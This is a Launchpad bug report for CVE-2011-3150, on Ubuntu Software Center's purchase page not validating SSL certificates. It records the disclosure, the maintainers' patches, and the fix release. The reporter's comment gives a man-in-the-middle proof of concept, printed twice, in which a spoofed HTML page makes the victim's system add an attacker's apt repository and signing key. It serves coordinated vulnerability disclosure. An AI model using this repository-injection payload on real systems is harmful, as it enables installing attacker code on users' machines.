Ubuntu
software-center package

Re: "Single sign on page doesn't look secure" --> well it isn't :>

Bug #874242 reported by David on 2011-10-14

270

This bug affects 1 person

Affects		Status	Importance	Assigned to	Milestone
	libsoup	Won't Fix	Wishlist	gnome-bugs #666276
	software-center (Ubuntu)	Fix Released	Critical	Unassigned

Bug Description

So the new ubuntu came out (11.10) (well done!) and I decided to play with the new ubuntu store software manager program. So it turns out that previously a bug was reported saying that "Single sign on page doesn't look secure", https://bugs.launchpad.net/ubuntu/+source/software-center/+bug/637649, well... guess what? it isn't "secure tm"
I placed an entry in /etc/hosts to redirect login.ubuntu.com to the address of an ISP and attempted to "buy a piece of software" via the ubuntu software center ... well instead of viewing the login.ubuntu.com page I got the ISP's web page ...
I haven't reviewed the code yet, but I doubt the code is doing sufficient ssl validation ...

tldr: this is a bad thing because user's who expect to login to ubuntu safely(with ssl :) ) and buy software are at risk.

Related branches

lp:ubuntu/oneiric-security/software-center

lp:ubuntu/maverick-security/software-center

lp:ubuntu/natty-security/software-center

lp:ubuntu/precise/software-center

CVE References

2011-3150

Revision history for this message

David (d--) wrote on 2011-10-15: Re: Re: "Single sign on page doesn't look secure" --> well it isn't :>

I need to confirm / check if this will give $man in the middle the ability to get remote code execution. From a quick review of the source code, it looks like this is possible ... (see softwarecenter/ui/gtk3/views/purchaseview.py).

Revision history for this message

David (d--) wrote on 2011-10-17:

Right, so my guess was correct ... I have described a basic test case for "compromising" a remote system below (by adding your own repository & new gpg key for apt to trust to a mitm'ed $victim).

1. point login.ubuntu.com at your local machine.
2. Adjust the contents in the file found under "FILE CONTENTS" below to fit with your pgp key, repository location and other respective fields. Then make the file available under the web root at /en/+openid/index.html (this will require a web server of some kind).

FILE CONTENTS:
---------------
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
       "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
  function changeTitle(title) { document.title = title; }
  function success() { changeTitle('{"successful" : true, "deb_line" : "deb https://user:<email address hidden>/mvo/ubuntu lucid main", "package_name" : "2vcard", "pkgname" : "PWNED","application_name" : "The 2vcard app", "signing_key_id" : "1024R/0EB12F05"}') }
  function cancel() { changeTitle('{ "successful" : false }') }
</script>
<h1>Purchase test page</h1>
<p> To buy Frobunicator for 99$ you need to enter your credit card info</p>

<p> Enter your credit card info </p>
<p>
<input type="entry">
</p>
<input type="button" name="test_button2"
        value="Cancel"
      onclick='cancel()'
/>
<input type="button" name="test_button"
        value="Buy now"
      onclick='success()'
/>
<script>success();</script>

</body>
</html>

------------
//The file contents is mostly a copy paste from the source code(of software center), except that I have added <script>success();</script> near the bottom so as to immediately trigger a "successful" "purchase".

3. Try to "buy" some software from the ubuntu software center.

Note: your user will be prompted to enter their password so as to install the "purchased software". The ppa information and corresponding pgp key will have been added under /etc/apt/ in the respective files.

4. ???

5. :/

TLDR: The man in the middle flaw in the software-center package can be leveraged to "compromise" the system of an ubuntu user who is trying to buy software via the software-center.

Right, so my guess was correct ... I have described a basic test case for "compromising" a remote system below (by adding your own repository & new gpg key for apt to trust  to a mitm'ed $victim).

FILE CONTENTS:
---------------
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
       "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
 <title></title>
</head>
<body>
 <script type="text/javascript">
  function changeTitle(title) { document.title = title; }
  function success() { changeTitle('{"successful" : true,  "deb_line" : "deb https://user:pass@private-ppa.launchpad.net/mvo/ubuntu lucid main", "package_name" : "2vcard", "pkgname" : "PWNED","application_name" : "The 2vcard app", "signing_key_id" : "1024R/0EB12F05"}') }
  function cancel() { changeTitle('{ "successful" : false }') }
 </script>
 <h1>Purchase test page</h1>
 <p> To buy Frobunicator for 99$ you need to enter your credit card info</p>

<p>  Enter your credit card info  </p>
 <p>
 <input type="entry">
 </p>
 <input type="button" name="test_button2"
        value="Cancel"
      onclick='cancel()'
 />
 <input type="button" name="test_button"
        value="Buy now"
      onclick='success()'
 />
 <script>success();</script>

</body>
</html>

------------
//The file contents is mostly a copy paste from the source code(of software center), except that I have added  <script>success();</script> near the bottom so as to immediately trigger a "successful" "purchase".

3. Try to "buy" some software from the ubuntu software center.

Note: your user will be prompted to enter their password so as to install the "purchased software".  The ppa information and corresponding pgp key will have been added under /etc/apt/ in the respective files.

4. ???

5.  :/

TLDR: The man in the middle flaw in the software-center package can be leveraged to "compromise" the system of an ubuntu user who is trying to buy software via the software-center.

Michael Vogt (mvo) on 2011-10-17

Changed in software-center (Ubuntu):
status:	New → Triaged
importance:	Undecided → Critical

Michael Vogt (mvo) on 2011-10-17

Changed in software-center (Ubuntu):
status:	Triaged → In Progress

Revision history for this message

Michael Vogt (mvo) wrote on 2011-10-17:

Demo that webkitgtk fails to verify the certificate even with ssl-strict set to True Edit (440 bytes, text/x-python)

This shows (on the example url https://sc.staging.ubuntu.com/subscriptions/en/ubuntu/oneiric/+new/ that will issue a cert warning on firefox/chrome) that webkit/libsoup fail to honor ssl-strict.

Revision history for this message

Michael Vogt (mvo) wrote on 2011-10-17:

Here is what needs to be done to fix it for s-c only:

=== modified file 'softwarecenter/ui/gtk3/views/purchaseview.py'
--- softwarecenter/ui/gtk3/views/purchaseview.py 2011-09-29 14:28:24 +0000
+++ softwarecenter/ui/gtk3/views/purchaseview.py 2011-10-17 11:27:29 +0000
@@ -26,6 +26,10 @@
import sys
import urllib
from gi.repository import WebKit as webkit
+# ensure we have a ssl-ca-file set, libsoup/webkit will *not* set this up
+# automatically
+session = webkit.get_default_session()
+session.set_property("ssl-ca-file", "/etc/ssl/certs/ca-cerficates.crt")

from gettext import gettext as _

But this really feels like it should be fixed on a libsoup level, not on a individual applications
level.

Revision history for this message

Michael Vogt (mvo) wrote on 2011-10-17:

Fwiw, with the above I get a handshake error from the regular software-center.ubuntu.com too, its traced down to:
$ gnutls-cli --x509cafile /etc/ssl/certs/ca-certificates.crt software-center.ubuntu.com
failing.

Revision history for this message

Michael Vogt (mvo) wrote on 2011-10-17:

Once that is fixed we can deploy the above fix for oneiric.

Revision history for this message

David (d--) wrote on 2011-10-17:

Awesome!

Revision history for this message

Michael Vogt (mvo) wrote on 2011-10-17:

There appears to be no API to set the default soup session in python-webkit for natty and maverick. So either we need a ctypes based solution (I will look into that) or fix it at the libsoup level (which while I will lead to regressions would still prefer over fixing all individual applications).

Revision history for this message

Michael Vogt (mvo) wrote on 2011-10-18:

Fix for natty based on ctypes (as there is no native python API) Edit (1.1 KiB, text/plain)

Revision history for this message

Michael Vogt (mvo) wrote on 2011-10-18:

#10

Fix for maverick based on ctypes Edit (1014 bytes, text/plain)

Revision history for this message

Michael Vogt (mvo) wrote on 2011-10-18:

#11

All fixes depend on that cert issue with gnutls mentioned in comment #5 for {software-center,pay}.ubuntu.com gets fixed first.

I filed RT #48544 for the admins about this.

Revision history for this message

Michael Vogt (mvo) wrote on 2011-10-18:

#12

Of course we need to inspect the other webkit/pywebkit using apps and ensure they setup libsoup correctly too.

Revision history for this message

Marc Deslauriers (mdeslaur) wrote on 2011-10-18:

#13

Please use CVE-2011-3150 for the issue in software-center.

Revision history for this message

Michael Vogt (mvo) wrote on 2011-10-19:

#14

The gnutls-cli problem is now fixed, it turned out that it was a cert-chain ordering problem.

Revision history for this message

Michael Vogt (mvo) wrote on 2011-10-21:

#15

Auto set default ssl-ca-file in libsoup Edit (2.3 KiB, text/plain)

Here is something that we should propose to upstream for P. I actually would really like to have it in a security update as well, but I can see that its controversial.

At the same time IMO it simply does not make sense to have a settings "ssl-strict" and "ssl-ca-file" and only when settings the later the former is honored. I also think that ssl-strict and no ssl_ca_in_creds should be a failure, I will attach a seperate patch.

Revision history for this message

Michael Vogt (mvo) wrote on 2011-10-21:

#16

Really honor ssl-strict even when no ssl-ca-file is setup Edit (542 bytes, text/plain)

This is a patch that forces ssl-strict to fail if the credentials can not be verified (i.e. missing cert).

This is actually only needed when ssl-ca-file is NULL because with no ssl-ca-file the GTlsCertificateFlags validation_flags are set to 0 (instead of e.g. G_TLS_CERTIFICATE_VALIDATE_ALL). This setting the side-effect that even if gio has a default cert file (which it does), *no* checks are performed for the validation.

With the previous patch (that adds a default value to ssl-ca-file this should actually not be needed anymore. Having said that, I think ssl-strict==True and ssl-ca-file==NULL should simply be a failure (and this is what this patch archives).

Revision history for this message

David (d--) wrote on 2011-10-29:

#17

When are the various fixing going to be pushed out ? (soon I hope).

Revision history for this message

David (d--) wrote on 2011-10-29:

#18

s/fixing/fixes/

Revision history for this message

Michael Vogt (mvo) wrote on 2011-10-29:

#19

Hello David! Thanks for your question.

I will leave the answer to this to the security team, AIUI they want to scan the archive for more users of webkit/webkitgtk that uses invalid ssl cert checking by default. The two other ones that come to my mind are the banshee and rythmbox amazon and ubuntuone store plugins. Both take credit card information so fixing them is also pretty important.

Revision history for this message

David (d--) wrote on 2011-10-30:

#20

Wouldn't the diff you attached above against libsoup fix the other issues?

Revision history for this message

David (d--) wrote on 2011-10-31:

#21

IMHO, I would like to see this fixed sometime within the next two weeks due to the nature of the bug. While leaking cc details is bad, it isn't as bad as code / repository injection.

Revision history for this message

Marc Deslauriers (mdeslaur) wrote on 2011-11-01:

#22

Hi David,

Sorry for the delay in publishing this. We are currently investigating other applications that use SSL in the archive, and are finding more issues that are similar.

Publishing this now will cause people to search for other applications that have similar issues, so we need to get them all fixed at the same time. This will take a while as in some cases, server side fixes are needed.

Thanks for your comprehension in this matter.

Revision history for this message

Launchpad Janitor (janitor) wrote on 2011-11-21:

#23

This bug was fixed in the package software-center - 5.0.2ubuntu0.1

---------------
software-center (5.0.2ubuntu0.1) oneiric-security; urgency=low

  * SECURITY UPDATE: MITM via incorrect ssl cert validation (LP: #874242)
    - softwarecenter/ui/gtk3/views/purchaseview.py: Set the ssl-ca-file
      libsoup property so ssl cert validation works.
    - CVE-2011-3150
-- Marc Deslauriers <email address hidden> Fri, 18 Nov 2011 08:29:21 -0500

Changed in software-center (Ubuntu):
status:	In Progress → Fix Released

Revision history for this message

Michael Vogt (mvo) wrote on 2011-11-23:

#24

Now that the update is out, any objections for trying to get my libsoup to upstream?

Revision history for this message

Marc Deslauriers (mdeslaur) wrote on 2011-11-23:

#25

Michael: No, please do!

Bug Watch Updater (bug-watch-updater) on 2011-12-15

Changed in software-center:
importance:	Unknown → Wishlist
status:	Unknown → Won't Fix
Changed in libsoup:
importance:	Unknown → Wishlist
status:	Unknown → New

Bug Watch Updater (bug-watch-updater) on 2011-12-16

Changed in libsoup:
status:	New → Invalid

Marc Deslauriers (mdeslaur) on 2012-05-03

visibility:

private → public

Curtis Hovey (sinzui) on 2012-05-03

no longer affects:

libsoup

Matthew Paul Thomas (mpt) on 2012-05-30

affects:

software-center → libsoup

Revision history for this message

Dylan McCall (dylanmccall) wrote on 2012-08-16:

#26

Okay, could anyone clarify what happened to the patch for libsoup? I'm wondering if we can expect libsoup to load CA files by default in the future, or if problems like this one in Software Center should be reported mercilessly until they're all fixed in their respective applications.

Is there a separate bug report where people can track the API problem that mvo's patches cover?